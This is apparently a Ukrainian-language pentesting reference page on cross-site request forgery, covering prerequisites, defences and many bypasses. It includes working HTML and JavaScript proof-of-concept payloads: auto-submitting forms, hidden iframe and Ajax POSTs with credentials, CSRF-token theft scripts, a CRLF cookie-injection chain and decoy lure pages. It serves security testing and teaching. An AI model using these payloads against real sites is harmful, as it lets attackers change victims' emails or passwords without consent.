Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us onDiscord and start collaborating with top hackers today!
Cross-Site Request Forgery (CSRF) Explained
Cross-Site Request Forgery (CSRF) — це тип вразливості безпеки, що зустрічається у веб-додатках. Він дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, експлуатуючи їх автентифіковані сесії. Атака виконується, коли користувач, який увійшов до платформи жертви, відвідує шкідливий сайт. Цей сайт потім ініціює запити до облікового запису жертви через методи, такі як виконання JavaScript, надсилання форм або отримання зображень.
Prerequisites for a CSRF Attack
Щоб експлуатувати вразливість CSRF, потрібно виконати кілька умов:
Identify a Valuable Action: Зловмисник повинен знайти дію, яку варто експлуатувати, наприклад, зміну пароля користувача, електронної пошти або підвищення привілеїв.
Session Management: Сесія користувача повинна управлятися виключно через куки або заголовок HTTP Basic Authentication, оскільки інші заголовки не можуть бути змінені для цієї мети.
Absence of Unpredictable Parameters: Запит не повинен містити непередбачуваних параметрів, оскільки вони можуть завадити атаці.
Quick Check
Ви можете захопити запит у Burp і перевірити захисти CSRF, а для тестування з браузера ви можете натиснути Copy as fetch і перевірити запит:
Defending Against CSRF
Кілька контрзаходів можуть бути реалізовані для захисту від атак CSRF:
User Verification: Запит пароля користувача або розв'язання капчі може підтвердити наміри користувача.
Checking Referrer or Origin Headers: Перевірка цих заголовків може допомогти забезпечити, що запити надходять з надійних джерел. Однак, ретельне формування URL може обійти погано реалізовані перевірки, такі як:
Використання http://mal.net?orig=http://example.com (URL закінчується на надійний URL)
Використання http://example.com.mal.net (URL починається з надійного URL)
Modifying Parameter Names: Зміна імен параметрів у POST або GET запитах може допомогти запобігти автоматизованим атакам.
CSRF Tokens: Включення унікального токена CSRF у кожну сесію та вимога цього токена в подальших запитах може значно зменшити ризик CSRF. Ефективність токена можна підвищити, впроваджуючи CORS.
Розуміння та реалізація цих захистів є критично важливими для підтримки безпеки та цілісності веб-додатків.
Defences Bypass
From POST to GET
Можливо, форма, яку ви хочете зловживати, підготовлена для надсилання POST запиту з токеном CSRF, але ви повинні перевірити, чи GET також дійсний і чи, коли ви надсилаєте GET запит, токен CSRF все ще перевіряється.
Lack of token
Додатки можуть реалізувати механізм для перевірки токенів, коли вони присутні. Однак вразливість виникає, якщо перевірка зовсім пропускається, коли токен відсутній. Зловмисники можуть експлуатувати це, видаляючи параметр, що несе токен, а не лише його значення. Це дозволяє їм обійти процес перевірки та ефективно провести атаку Cross-Site Request Forgery (CSRF).
CSRF token is not tied to the user session
Додатки, які не прив'язують токени CSRF до сесій користувачів, представляють значний ризик безпеки. Ці системи перевіряють токени проти глобального пулу, а не забезпечують, щоб кожен токен був прив'язаний до ініціюючої сесії.
Ось як зловмисники експлуатують це:
Authenticate використовуючи свій обліковий запис.
Obtain a valid CSRF token з глобального пулу.
Use this token в атаці CSRF проти жертви.
Ця вразливість дозволяє зловмисникам робити несанкціоновані запити від імені жертви, експлуатуючи недостатній механізм перевірки токенів додатка.
Method bypass
Якщо запит використовує "незвичний" метод, перевірте, чи працює функціональністьперезапису методу. Наприклад, якщо він використовує метод PUT, ви можете спробувати використати метод POST і надіслати: https://example.com/my/dear/api/val/num?_method=PUT
Це також може спрацювати, якщо надіслати параметр _method всередині POST запиту або використовуючи заголовки:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Custom header token bypass
Якщо запит додає кастомний заголовок з токеном до запиту як метод захисту CSRF, тоді:
Перевірте запит без кастомізованого токена та заголовка.
Перевірте запит з точною такою ж довжиною, але іншим токеном.
CSRF token is verified by a cookie
Додатки можуть реалізувати захист CSRF, дублюючи токен як у куки, так і в параметрі запиту або встановлюючи куки CSRF і перевіряючи, чи відповідає токен, надісланий на бекенді, значенню в куки. Додаток перевіряє запити, перевіряючи, чи токен у параметрі запиту відповідає значенню в куки.
Однак цей метод вразливий до атак CSRF, якщо веб-сайт має недоліки, які дозволяють зловмиснику встановити куки CSRF у браузері жертви, такі як вразливість CRLF. Зловмисник може експлуатувати це, завантажуючи оманливе зображення, яке встановлює куки, а потім ініціюючи атаку CSRF.
Нижче наведено приклад того, як може бути структурована атака:
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><imgsrc="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"onerror="document.forms[0].submit();"/></body></html>
Зверніть увагу, що якщо csrf токен пов'язаний з сесійним кукі, ця атака не спрацює, оскільки вам потрібно буде встановити жертві вашу сесію, і, отже, ви будете атакувати себе.
Зміна Content-Type
Згідно з цим, щоб уникнути попередніх запитів, використовуючи метод POST, дозволені значення Content-Type:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Однак зверніть увагу, що логіка серверів може варіюватися в залежності від використаного Content-Type, тому вам слід спробувати зазначені значення та інші, такі як application/json,text/xml, application/xml.
Приклад (з тут) відправки JSON даних як text/plain:
Коли ви намагаєтеся надіслати JSON-дані через POST-запит, використання Content-Type: application/json в HTML-формі не є безпосередньо можливим. Аналогічно, використання XMLHttpRequest для надсилання цього типу вмісту ініціює попередній запит. Проте існують стратегії, які можуть обійти це обмеження та перевірити, чи сервер обробляє JSON-дані незалежно від Content-Type:
Використовуйте альтернативні типи вмісту: Використовуйте Content-Type: text/plain або Content-Type: application/x-www-form-urlencoded, встановивши enctype="text/plain" у формі. Цей підхід перевіряє, чи бекенд використовує дані незалежно від Content-Type.
Змініть тип вмісту: Щоб уникнути попереднього запиту, забезпечуючи при цьому, щоб сервер розпізнавав вміст як JSON, ви можете надіслати дані з Content-Type: text/plain; application/json. Це не викликає попереднього запиту, але може бути правильно оброблено сервером, якщо він налаштований на прийом application/json.
Використання SWF Flash файлу: Менш поширений, але можливий метод полягає у використанні SWF flash файлу для обходу таких обмежень. Для детального розуміння цієї техніки зверніться до цього посту.
Обхід перевірки Referrer / Origin
Уникайте заголовка Referrer
Додатки можуть перевіряти заголовок 'Referer' лише тоді, коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використовувати наступний HTML мета-тег:
<metaname="referrer"content="never">
Це забезпечує відсутність заголовка 'Referer', що потенційно обминає перевірки валідації в деяких додатках.
Щоб встановити доменне ім'я сервера в URL, який Referrer збирається надіслати всередині параметрів, ви можете зробити:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
Метод обходу HEAD
Перша частина цього CTF звіту пояснює, що джерело Oak, маршрутизатор налаштований на обробку запитів HEAD як запитів GET без тіла відповіді - поширений обхід, який не є унікальним для Oak. Замість конкретного обробника, який займається запитами HEAD, їх просто передають обробнику GET, але додаток просто видаляє тіло відповіді.
Отже, якщо запит GET обмежений, ви можете просто надіслати запит HEAD, який буде оброблений як запит GET.
Приклади експлуатації
Екстракція токена CSRF
Якщо токен CSRF використовується як захист, ви можете спробувати екстрактувати його, зловживаючи вразливістю XSS або вразливістю Dangling Markup.
GET за допомогою HTML тегів
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
Інші HTML5 теги, які можна використовувати для автоматичної відправки GET запиту, це:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Запит POST форми
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit --><inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
Відправка POST запиту через iframe
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Ajax POST запит
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type','application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Викрасти CSRF токен і надіслати POST запит
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();
Вкрасти CSRF токен і надіслати Post запит, використовуючи iframe, форму та Ajax
Код може бути використаний для брутфорсу форми входу, використовуючи CSRF токен (також використовується заголовок X-Forwarded-For, щоб спробувати обійти можливе чорне списування IP):